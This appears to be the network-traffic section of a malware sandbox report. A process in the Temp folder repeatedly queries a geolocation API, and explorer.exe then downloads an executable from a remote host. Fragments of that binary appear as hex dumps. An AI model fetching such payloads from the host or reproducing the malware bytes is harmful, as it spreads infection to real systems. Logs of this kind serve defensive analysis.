2023-07-27 16:26:47 UTC	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49697	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:26:49 UTC	1	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:26:49 UTC	1	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:26:49 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 16:26:49 UTC	1	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49721	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:19 UTC	326	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:27:19 UTC	326	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:27:19 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 16:27:19 UTC	326	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49726	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:21 UTC	327	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:27:21 UTC	327	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:27:21 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 16:27:21 UTC	327	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49731	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:22 UTC	328	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:27:22 UTC	328	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:27:22 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 16:27:22 UTC	329	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49736	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:22 UTC	329	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:27:22 UTC	329	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:27:22 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 16:27:22 UTC	330	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49743	213.6.54.58	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:23 UTC	330	OUT	GET /tmp/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: nordskills.eu
2023-07-27 16:27:23 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 27 Jul 2023 16:27:23 GMT Server: Apache Content-Description: File Transfer Content-Disposition: attachment; filename=859b11c0.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Connection: close Transfer-Encoding: chunked Content-Type: application/octet-stream
2023-07-27 16:27:23 UTC	331	IN	Data Raw: 32 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 17 17 58 88 76 79 0b 88 76 79 0b 88 76 79 0b e7 00 e7 0b 9e 76 79 0b e7 00 d2 0b af 76 79 0b e7 00 d3 0b fc 76 79 0b 81 0e ea 0b 81 76 79 0b 88 76 78 0b 1b 76 79 0b e7 00 d6 0b 89 76 79 0b e7 00 e3 0b 89 76 79 0b e7 00 e4 0b 89 76 79 0b 52 69 63 68 88 76 79 0b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4d 3a 5e 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b Data Ascii: 2000MZ@!L!This program cannot be run in DOS mode.$XvyvyvyvyvyvyvyvxvyvyvyvyRichvyPELM:^c
2023-07-27 16:27:23 UTC	339	IN	Data Raw: 6f 78 57 00 55 00 53 00 45 00 52 00 33 00 32 00 2e 00 44 00 4c 00 4c 00 00 00 00 00 20 43 6f 6d 70 6c 65 74 65 20 4f 62 6a 65 63 74 20 4c 6f 63 61 74 6f 72 27 00 00 00 20 43 6c 61 73 73 20 48 69 65 72 61 72 63 68 79 20 44 65 73 63 72 69 70 74 6f 72 27 00 00 00 00 20 42 61 73 65 20 43 6c 61 73 73 20 41 72 72 61 79 27 00 00 20 42 61 73 65 20 43 6c 61 73 73 20 44 65 73 63 72 69 70 74 6f 72 20 61 74 20 28 00 20 54 79 70 65 20 44 65 73 63 72 69 70 74 6f 72 27 00 00 00 60 6c 6f 63 61 6c 20 73 74 61 74 69 63 20 74 68 72 65 61 64 20 67 75 61 72 64 27 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 60 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 Data Ascii: oxWUSER32.DLL Complete Object Locator' Class Hierarchy Descriptor' Base Class Array' Base Class Descriptor at ( Type Descriptor'`local static thread guard'`managed vector copy constructor iterator'`vector vbase copy construc
2023-07-27 16:27:23 UTC	339	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	339	IN	Data Raw: 32 30 30 30 0d 0a 20 69 6e 69 74 69 61 6c 69 7a 65 72 20 66 6f 72 20 27 00 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 60 65 68 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 64 65 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 70 6c 61 63 65 6d 65 6e 74 20 64 65 6c 65 74 65 5b 5d 20 63 6c 6f 73 75 72 65 27 00 00 00 00 60 70 6c 61 63 65 6d 65 6e 74 20 64 65 6c 65 74 65 20 63 6c 6f 73 75 72 65 27 00 00 60 6f 6d 6e 69 Data Ascii: 2000 initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni
2023-07-27 16:27:23 UTC	347	IN	Data Raw: e5 13 00 00 59 c3 Data Ascii: Y
2023-07-27 16:27:23 UTC	347	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	347	IN	Data Raw: 32 30 30 30 0d 0a 8b ff 55 8b ec 51 83 65 fc 00 56 8d 45 fc 50 ff 75 0c ff 75 08 e8 95 1b 00 00 8b f0 83 c4 0c 85 f6 75 18 39 45 fc 74 13 e8 19 11 00 00 85 c0 74 0a e8 10 11 00 00 8b 4d fc 89 08 8b c6 5e c9 c3 8b ff 55 8b ec 53 8b 5d 08 83 fb e0 77 6f 56 57 83 3d 74 c6 43 00 00 75 18 e8 93 20 00 00 6a 1e e8 dd 1e 00 00 68 ff 00 00 00 e8 ed 1b 00 00 59 59 85 db 74 04 8b c3 eb 03 33 c0 40 50 6a 00 ff 35 74 c6 43 00 ff 15 70 11 40 00 8b f8 85 ff 75 26 6a 0c 5e 39 05 e4 cc 43 00 74 0d 53 e8 97 20 00 00 59 85 c0 75 a9 eb 07 e8 98 10 00 00 89 30 e8 91 10 00 00 89 30 8b c7 5f 5e eb 14 53 e8 76 20 00 00 59 e8 7d 10 00 00 c7 00 0c 00 00 00 33 c0 5b 5d c3 6a 08 68 b0 6f 42 00 e8 e0 18 00 00 33 c0 8b 75 08 33 db 3b f3 0f 95 c0 3b c3 75 16 e8 51 10 00 00 c7 00 16 00 Data Ascii: 2000UQeVEPuuu9EttM^US]woVW=tCu jhYYt3@Pj5tCp@u&j^9CtS Yu00_^Sv Y}3[]jhoB3u3;;uQ
2023-07-27 16:27:23 UTC	355	IN	Data Raw: c4 0c 85 c0 74 0c Data Ascii: t
2023-07-27 16:27:23 UTC	355	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	355	IN	Data Raw: 32 30 30 30 0d 0a 33 c0 50 50 50 50 50 e8 49 f9 ff ff 56 e8 69 5d 00 00 40 59 83 f8 3c 76 2a 56 e8 5c 5d 00 00 8d 04 45 74 c6 43 00 8b c8 2b ce 6a 03 d1 f9 68 4c 1d 40 00 2b d9 53 50 e8 72 5c 00 00 83 c4 14 85 c0 75 bd 68 44 1d 40 00 be 14 03 00 00 56 57 e8 e5 5b 00 00 83 c4 0c 85 c0 75 a5 ff b5 04 fe ff ff 56 57 e8 d1 5b 00 00 83 c4 0c 85 c0 75 91 68 10 20 01 00 68 f8 1c 40 00 57 e8 4e 5a 00 00 83 c4 0c eb 5e 53 53 53 53 53 e9 79 ff ff ff 6a f4 ff 15 8c 11 40 00 8b f0 3b f3 74 46 83 fe ff 74 41 33 c0 8a 0c 47 88 8c 05 08 fe ff ff 66 39 1c 47 74 08 40 3d f4 01 00 00 72 e8 53 8d 85 04 fe ff ff 50 8d 85 08 fe ff ff 50 88 5d fb e8 1e f1 ff ff 59 50 8d 85 08 fe ff ff 50 56 ff 15 ac 11 40 00 8b 4d fc 5f 5e 33 cd 5b e8 f2 eb ff ff c9 c3 6a 03 e8 01 5d 00 00 59 Data Ascii: 20003PPPPPIVi]@Y<v*V\]EtC+jhL@+SPr\uhD@VW[uVW[uh h@WNZ^SSSSSyj@;tFtA3Gf9Gt@=rSPP]YPPV@M_^3[j]Y
2023-07-27 16:27:23 UTC	363	IN	Data Raw: 00 e8 ca be ff ff Data Ascii:
2023-07-27 16:27:23 UTC	363	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	363	IN	Data Raw: 32 30 30 30 0d 0a 83 25 90 c6 43 00 00 83 c8 ff eb e4 33 c0 50 50 50 50 50 e8 3d d9 ff ff cc 8b ff 55 8b ec 51 8b 4d 10 53 33 c0 56 89 07 8b f2 8b 55 0c c7 01 01 00 00 00 39 45 08 74 09 8b 5d 08 83 45 08 04 89 13 89 45 fc 80 3e 22 75 10 33 c0 39 45 fc b3 22 0f 94 c0 46 89 45 fc eb 3c ff 07 85 d2 74 08 8a 06 88 02 42 89 55 0c 8a 1e 0f b6 c3 50 46 e8 0a 47 00 00 59 85 c0 74 13 ff 07 83 7d 0c 00 74 0a 8b 4d 0c 8a 06 ff 45 0c 88 01 46 8b 55 0c 8b 4d 10 84 db 74 32 83 7d fc 00 75 a9 80 fb 20 74 05 80 fb 09 75 9f 85 d2 74 04 c6 42 ff 00 83 65 fc 00 80 3e 00 0f 84 e9 00 00 00 8a 06 3c 20 74 04 3c 09 75 06 46 eb f3 4e eb e3 80 3e 00 0f 84 d0 00 00 00 83 7d 08 00 74 09 8b 45 08 83 45 08 04 89 10 ff 01 33 db 43 33 c9 eb 02 46 41 80 3e 5c 74 f9 80 3e 22 75 26 f6 c1 Data Ascii: 2000%C3PPPPP=UQMS3VU9Et]EE>"u39E"FE<tBUPFGYt}tMEFUMt2}u tutBe>< t<uFN>}tEE3C3FA>\t>"u&
2023-07-27 16:27:23 UTC	371	IN	Data Raw: 15 60 11 40 00 5d Data Ascii: `@]
2023-07-27 16:27:23 UTC	371	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	371	IN	Data Raw: 32 30 30 30 0d 0a c3 6a 0c 68 c8 72 42 00 e8 b3 b9 ff ff 33 ff 47 89 7d e4 33 db 39 1d 74 c6 43 00 75 18 e8 cf c0 ff ff 6a 1e e8 19 bf ff ff 68 ff 00 00 00 e8 29 bc ff ff 59 59 8b 75 08 8d 34 f5 20 98 42 00 39 1e 74 04 8b c7 eb 6d 6a 18 e8 c7 d5 ff ff 59 8b f8 3b fb 75 0f e8 ec b0 ff ff c7 00 0c 00 00 00 33 c0 eb 50 6a 0a e8 58 00 00 00 59 89 5d fc 39 1e 75 2b 68 a0 0f 00 00 57 ff 15 90 11 40 00 85 c0 75 17 57 e8 41 9e ff ff 59 e8 b7 b0 ff ff c7 00 0c 00 00 00 89 5d e4 eb 0b 89 3e eb 07 57 e8 26 9e ff ff 59 c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 4c b9 ff ff c3 6a 0a e8 29 ff ff ff 59 c3 8b ff 55 8b ec 8b 45 08 56 8d 34 c5 20 98 42 00 83 3e 00 75 13 50 e8 23 ff ff ff 59 85 c0 75 08 6a 11 e8 14 be ff ff 59 ff 36 ff 15 5c 11 40 00 5e 5d c3 2d a4 03 Data Ascii: 2000jhrB3G}39tCujh)YYu4 B9tmjY;u3PjXY]9u+hW@uWAY]>W&YEELj)YUEV4 B>uP#YujY6\@^]-
2023-07-27 16:27:23 UTC	379	IN	Data Raw: 5d 08 83 fb fe 75 Data Ascii: ]u
2023-07-27 16:27:23 UTC	379	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	379	IN	Data Raw: 32 30 30 30 0d 0a 13 e8 40 91 ff ff c7 00 09 00 00 00 83 c8 ff e9 a1 00 00 00 85 db 78 08 3b 1d e4 09 2e 02 72 12 e8 21 91 ff ff c7 00 09 00 00 00 e8 77 99 ff ff eb da 8b c3 c1 f8 05 8d 3c 85 00 0a 2e 02 8b f3 83 e6 1f c1 e6 06 8b 07 0f be 44 06 04 83 e0 01 74 ce 53 e8 cf fe ff ff 59 83 65 fc 00 8b 07 f6 44 06 04 01 74 31 53 e8 52 fe ff ff 59 50 ff 15 48 11 40 00 85 c0 75 0b ff 15 b0 10 40 00 89 45 e4 eb 04 83 65 e4 00 83 7d e4 00 74 19 e8 c7 90 ff ff 8b 4d e4 89 08 e8 aa 90 ff ff c7 00 09 00 00 00 83 4d e4 ff c7 45 fc fe ff ff ff e8 0c 00 00 00 8b 45 e4 e8 4b 99 ff ff c3 8b 5d 08 53 e8 02 ff ff ff 59 c3 8b ff 55 8b ec 83 ec 10 ff 75 0c 8d 4d f0 e8 64 a3 ff ff 8b 45 f0 83 b8 ac 00 00 00 01 7e 13 8d 45 f0 50 6a 04 ff 75 08 e8 7f 05 00 00 83 c4 0c eb 10 8b Data Ascii: 2000@x;.r!w<.DtSYeDt1SRYPH@u@Ee}tMMEEK]SYUuMdE~EPju
2023-07-27 16:27:23 UTC	387	IN	Data Raw: 83 a4 24 80 00 00 Data Ascii: $
2023-07-27 16:27:23 UTC	387	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:23 UTC	387	IN	Data Raw: 31 66 66 38 0d 0a 00 fe 89 6c 24 7c c7 44 24 40 4c 33 40 00 c7 84 24 dc 30 00 00 01 00 00 00 8b 44 24 78 8b d8 3b c5 74 4b 8b 38 3b fd 74 3c 55 8d 4c 24 18 e8 00 59 ff ff 8b 47 04 3b c5 76 09 83 f8 ff 73 04 48 89 47 04 8b 77 04 f7 de 1b f6 f7 d6 8d 4c 24 14 23 f7 e8 04 59 ff ff 3b f5 74 0a 8b 16 8b 02 6a 01 8b ce ff d0 53 e8 dc 63 ff ff 83 c4 04 8d 4c 24 44 c7 84 24 dc 30 00 00 ff ff ff ff e8 0a 59 ff ff b8 d1 05 00 00 01 05 b4 09 2e 02 8b 0d b4 09 2e 02 51 6a 00 ff 15 e8 10 40 00 8b 35 c4 10 40 00 8b 3d ec 10 40 00 8b 2d a0 10 40 00 8b 1d a8 10 40 00 a3 5c 69 2d 02 a1 b4 09 2e 02 c7 44 24 14 ab 82 96 00 83 f8 03 75 11 6a 00 6a 00 6a 00 ff 15 1c 10 40 00 a1 b4 09 2e 02 3d df 00 00 00 0f 85 ca 01 00 00 33 d2 8d 8c 24 a0 00 00 00 51 52 52 8d 84 24 dc 00 00 Data Ascii: 1ff8l$\|D$@L3@$0D$x;tK8;t<UL$YG;vsHGwL$#Y;tjScL$D$0Y..Qj@5@=@-@@\i-.D$ujjj@.=3$QRR$
2023-07-27 16:27:23 UTC	395	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:23 UTC	395	IN	Data Raw: 7d e0 03 89 75 d8 7c d3 8b f0 6a 02 c1 e6 02 8d 4d f8 5a 2b ce 3b d0 7c 08 8b 31 89 74 95 f0 eb 05 83 64 95 f0 00 83 e9 04 4a 79 e9 8b 35 28 c1 43 00 4e 8d 46 01 99 83 e2 1f 03 c2 c1 f8 05 8d 56 01 81 e2 1f 00 00 80 89 45 d0 79 05 4a 83 ca e0 42 6a 1f 59 2b ca 33 d2 42 d3 e2 8d 5c 85 f0 89 4d d4 85 13 0f 84 82 00 00 00 83 ca ff d3 e2 f7 d2 85 54 85 f0 eb 05 83 7c 85 f0 00 75 08 40 83 f8 03 7c f3 eb 66 8b c6 99 6a 1f 59 23 d1 03 c2 c1 f8 05 81 e6 1f 00 00 80 79 05 4e 83 ce e0 46 83 65 d8 00 33 d2 2b ce 42 d3 e2 8d 4c 85 f0 8b 31 8d 3c 16 3b fe 72 04 3b fa 73 07 c7 45 d8 01 00 00 00 89 39 8b 4d d8 eb 1f 85 c9 74 1e 8d 4c 85 f0 8b 11 8d 72 01 33 ff 3b f2 72 05 83 fe 01 73 03 33 ff 47 89 31 8b cf 48 79 de 8b 4d d4 83 c8 ff d3 e0 21 03 8b 45 d0 40 83 f8 03 7d Data Ascii: }u\|jMZ+;\|1tdJy5(CNFVEyJBjY+3B\MT\|u@\|fjY#yNFe3+BL1<;r;sE9MtLr3;rs3G1HyM!E@}
2023-07-27 16:27:23 UTC	403	IN	Data Raw: 0d 0a Data Ascii:
